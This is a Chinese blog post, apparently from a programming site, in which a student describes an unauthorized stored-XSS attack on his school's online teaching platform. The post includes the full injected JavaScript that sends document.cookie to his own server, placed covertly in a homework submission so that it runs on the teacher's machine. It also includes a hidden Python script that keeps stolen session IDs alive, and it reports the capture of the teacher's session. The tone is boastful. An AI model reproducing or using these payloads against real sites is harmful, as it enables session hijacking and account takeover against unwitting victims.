XSS攻击的一个校内简单实例

前言

 

偷得浮生半日闲。

记一记往事。

大神请绕道。。

写之前打开hackinglab,一年不见,多了个创新关。

              

脚本关的12-15题是XSS。打开脚本关的XSS瞅了一眼,15关没过。

      

想起上次啃15关啃了很久啃不出,那时还在高中的图书馆里。此处省略一千字。

时隔若干年,老夫要找个时间再试一试。

 

这里的攻击对象是学校旧的网络教学综合平台(也就这种老的网站适合我这种新手),对应的唯一的课程是数据结构。

这里对应的难度应该就是脚本关12题,无需任何构造,直接注入,简单粗暴,效果极好。

 

开始

 

1.闲逛

上机课,没带电脑,做差不多了,好无聊,干啥呢,网速真慢,电脑真卡,玩玩教务系统吧。

 

给自己发封邮件。。

随手一点打印预览,可以看到弹出来一个框,地址显示了显示邮件这个模块的真实链接。

那么说明原来这个网页是很多iframe拼起来的,看了一下elements,果然是。

试试把mailID改一下,额。。。:

很煽情,马了。

有发作业的,有发祝福的,有发感谢的,,,还有。。。测试的。

连访问权限都不加。。

 

2.瞎看

看看这个网页怎么个加载流程。

在刚打开的打印预览里分析比较方便。

Elements打开。定位到自己发送的内容123.

可以看到整个网页是整个教务平台的一个iframe,而邮件的内容又是这个整个邮件模块网页的iframe。

先打开网页的源码,搜索一下“123”,就是我的邮件内容。

当然,网页里显示的123不会出现在这,因为那是它里头iframe里的东西。

这里的123被value包含,value的值转义一下。(&lt; = < , &gt; = >)。那么转义过来就是<p>123</p>。

那么一定有js脚本读取这个value,然后动态添加到自身,显示最终的123.因为如果网页中的123是后台生成好的,那就没必要把网页中的元素再放到这个hidden的div中来了。

然后找啊找,找啊找。直接用id 129_content找是行不通的,搜遍全部脚本都找不到,是拼接的。搜_content可以找到的,尽管并不是这样找到的。

那段脚本在这,在iframe框架里的源码里。

浏览器右键点击123区域,查看框架的源代码。源码不长。

网页onload后执行loadContent,loadContent第三行找到父窗口,name这里是129,所以找到id为129_content的元素的value,也就是<p>123</p>。把它替换到自己的body中。

所以这个iframe内容从“内容读取中...”变为了自己的123.

 

3.分析

看数据包可以看到,用户的输入变成了string,内容就html的一个个标签加上实质的用户输入内容。放在表单中提交。

服务器存在数据库中,下次看邮件,把这个string发回来,在浏览器中动态渲染。

插入图片,就会有个img标签,设置字体改变的是对应标签的css属性。等等。

那么能不能插入点自己的标签呢。试试。

写个脚本发送数据包麻烦了,还是拦截包吧。

 

4.尝试

打开写邮件界面,准备写点什么。

浏览器局域网设置代理服务器,请求都先发到这个地址的这个端口。

打开burpsuit,添加这个端口,拦截这个端口的数据包。

收件人写自己,随便写点什么东西。

发送前,打开burpsuit的拦截。

邮件界面点击发送按钮。

这时burpsuit闪了一下,它似乎抓到了什么东西。

打开它。

object是标题,body是邮件内容。

那么,在body中注入便签。注入:<script>alert(1)</script>

写完,关闭拦截。

那么这个数据包就被发出去了,本该去哪去哪。

邮件发送成功。打开发出去的那封邮件。

噢!弹出警告框了。

关闭后,邮件其他内容再被加载。

 

所以。别人打开我的邮件也会弹窗,执行我注入的script脚本。

这种动态加载机制还不会被chrome的XSS Auditor检测出来。

注意到发送的数据包中有个JSESSIONID,服务器是用session来记录访客信息的。

那么首先,构造脚本,别人打开邮件,我的脚本将它的记录sessionId的cookie发到我的服务器。我拿这个cookie去访问网站,那么就可以免登录,伪装成这个sessionId的所有者了。即Cookie诈骗。

提交作业和这个是同一个邮件系统,在提交zip文件时,后面悄悄插入一个script脚本,在老师电脑上跑js,然后窃取sessionId,窃取到以后,我就是老师了,啊哈哈哈,啊哈哈哈!

 

 

5.搞事情

 a.服务器

 接收前台注入的script发出的请求。

 正常来说,老师是会连接外网的。但如果没连,那就发不到我的服务器。但是要上教务网站,一定要连内网,所以服务器选了个校内的服务器。

 要说这个校内的服务器怎么拿到的,那又是另外一个故事了。。。此处省略五千字。

 服务器用。发来的cookie存在url的参数c里面。

 读取过来,保存到文件中。

  这里目标就一个,所以用简单的做法, 搜整个文件是否已存在这个cookie,不考虑效率问题。

正常来说,如果有的话,文件中就一个记录,老师的cookie。

 

还有一个问题,因为服务器的session是有有效期限的,太久没访问,这个session就过期没用了。

所以要定期的用这个session去访问一下服务器,不断刷新它的有效期。

我还要上课哇。不可能一直坐在电脑前面等它出现。

应该要白天忙别的,晚上回来享用胜利的果实。

这里写一个python脚本,从上面保存cookie的文件xss_cookies.txt中拿cookie,然后随便找个网站需要登录权限的api,访问一下就ok了。就是python爬虫吧。这个过程周期性的执行。

这是脚本。

#encoding=utf-8
import httplib,datetime,time

server='匿了.匿了.匿了.匿了.'
url='/homepage/common/'
headers={
    'Cookie': 'JSESSIONID=F11BB7FB2A48014CC24F98E24D0F9DF6',
    'Upgrade-Insecure-Requests' :'1',
    'Host': '匿了.匿了.匿了.匿了.',
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0'
    }


def postIt(c):
    conn=httplib.HTTPConnection(server)
    headers['Cookie']=c
    
    conn.request(url=url,method='GET',headers=headers)
    resp=conn.getresponse()
    res=resp.read()
    
    f=open('log.txt','a')
    time=datetime.datetime.now().strftime("%b %d %Y %H:%M:%S")
    f.write(time+' '+c+' ')

    res = unicode(res, "gbk")
    state=res.find(u'欢迎登录!')
    info='1'
    if state==-1:
       info='-1'
    f.write(info+'\n')
    
    conn.close()
    f.close()
while 1:
    try:
        cs=open('D:\\路径匿了\\路径匿了\\路径匿了\\xss_cookies.txt','r')
        lines=cs.readlines()
        for line in lines:
            line=line.strip('\n')
            postIt(line)
        
        cs.close()
    except Exception:
        pass
    time.sleep(10*60) #10minutes

postIt 把修改cookie,把数据包发出去。查找返回网页内容,如果有欢迎登录字样,说明Cookie还有效,否则无效,把时间,Cookie,是否有效写入到日志log.txt中。

while 1中try catch避免中途结束,读取xss_cookies.txt,把每行的Cookie去post一下。更新下有效期。10分钟一次这个过程。

这里python文件后缀名,用pyw。后台执行,总不能在别人服务器上明目张胆的开个黑框框吧。不能捡了芝麻丢了西瓜。任务管理器那里会看到,还是有风险,唉,先不管了。

 

 b.注入script

  首先,直接弹出一个包含cookie信息的url是不可以的。chrome很大可能会拦截。而且,不能在老师眼皮子底下弹出个什么东西吧,尽管由于弹出来的网页可以让它自动关闭,过程很短,但还有更好的方案。

 js发个数据包就好了。

比较简单,这是注入的内容。

<script>
	function createXMLHttpRequest(){
		var xhr;
		if(window.XMLHttpRequest){
			xhr=new XMLHttpRequest();
			if(xhr.overrideMimeType){
				xhr.overrideMimeType("text/xml");
			}else if (window.ActiveXObject){
				xhr=new ActiveXObject("Microsoft.XMLHTTP");
			}
		}
		return xhr;
	}
	var xhr=createXMLHttpRequest();
	if(xhr!=null){
		url="http://服务器地址匿了/Image/xss?c="%2bdocument.cookie;
		xhr.open("get",url,true);
		xhr.send({});
	}
</script>

倒数第5行用 “+” 符号貌似会出问题,记不清了,记不清了,记不清了。%2b是 + 的URL编码。

 

好,重复4.尝试的内容,在交作业时,拦截,在zip文件链接,也就是</a>标签的后面注入这个script代码,发送,作业提交成功。表面上丝毫看不出来,javascript脚本后台默默执行。

打开提交的作业。查看网页元素。

恩,该有的都有了。同时,我自己的cookie也被发送到我的服务器上了,在服务器中可以看到。

坐等老师打开邮件。

 

c.说明

 a,b 的内容自己访问测试,都是测试通过的,在当天内,cookie会一直被validate。所以每天看一眼服务器就行了。

 

5.结果

之后几天中,每天中午或晚上看一眼服务器,看看是不是有了点什么东西。

终于,某一天,出现了。点下图片好像可以放大。

 

中午看到的。

老师在早上10:19到10:29区段的某个时间批改了我的作业。

顺便看看作业多少分。

啊,这次是10分。接着分析。

1AD打头的JSESSIONID 10点29返回值是1,有效。10点39就失效了。

(其他一直是-1的,是前一天的session,因为分析知道平台服务器每晚上1点来钟会清空一下内存,所以这里保留了很多失效的cookie,是前几天测试用的。当时更新cookie有效期是成功了的,在一天内可以无限延期,第二天就没用了。)

为啥下个10分钟会失效了嘞,我的程序是没问题的,说明平台服务器主动将这个SESSION给作废了。

有两个可能:

1. servlet那里session绑定了ip,别的ip访问,就认为非法。不过可能性不大,连邮件的权限都不加,还会在意这个?后来也没有再去测试是不是ip的问题。

2. 教学平台右上角有个退出按钮。这个点击后console network中出现一个logout.jsp,大概服务器收到这个就把对应的session作废了。这个可能性极大。     平时我做完都是直接把整个窗口给关了,也没有点退出。网页应该也没有监听窗口关闭的事件,因为只要浏览器不关,再打开还是处于登录状态。所以测试时的session一直有效。   而老师,估计改了一部分作业就logout了。他作业是分批改的,这个平时可以看出。

老师在10:29到10:39的区段的某个时间点了退出登录。恩,就是这样。

如果在10:19到10:39的某个时间,还有机会兴风作浪。

兴风作浪:用chrome插件EditThisCookie改cookie比较方便。

那一天是2017.11.02 星期四。

课表。

即使没课,因为没有通知的机制,我也不会没事情一直盯着那个文件看。

所以,这次行动以失败告终

 

我们下期再见。

 

 

 

 

======================噢不。

未完,待续。

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值